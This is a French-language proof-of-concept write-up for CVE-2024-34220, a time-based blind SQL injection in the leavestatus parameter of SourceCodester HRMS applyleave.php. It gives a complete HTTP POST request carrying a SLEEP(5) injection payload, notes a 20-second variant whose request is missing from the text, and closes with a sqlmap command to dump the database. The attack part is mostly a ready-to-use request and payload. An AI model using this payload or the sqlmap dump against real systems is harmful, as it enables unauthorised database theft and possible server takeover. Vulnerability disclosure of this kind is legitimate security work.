
Preuve de concept d'exploitation pour CVE-2024-34220, une vulnérabilité d'injection SQL aveugle basée sur le temps dans SourceCodester HRMS applyleave.php, avec automatisation via sqlmap pour l'extraction de la base de données.
applyleave.php
Injection SQL
Les attaquants peuvent exploiter cette vulnérabilité pour obtenir des privilèges sur la base de données, ce qui peut entraîner une grande quantité de données dans la base de données. Si la base de données de l'autre partie dispose de privilèges DBA, cela peut conduire à l'obtention des privilèges de l'hôte du serveur.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
Après avoir exécuté cette charge utile, le temps de retour des données est retardé de 5 secondes, ce qui indique que nous avons peut-être réussi à exécuter "sleep(5)". Dans ce cas, le délai peut être multiple. Nous le vérifions ci-dessous :

Après avoir exécuté cette charge utile, le temps de retour des données est retardé de 20 secondes, ce qui indique que nous avons peut-être réussi à exécuter "sleep(20)". Dans ce cas, le délai peut être multiple. Nous le vérifions ci-dessous :

sqlmap -r <item request> --dump
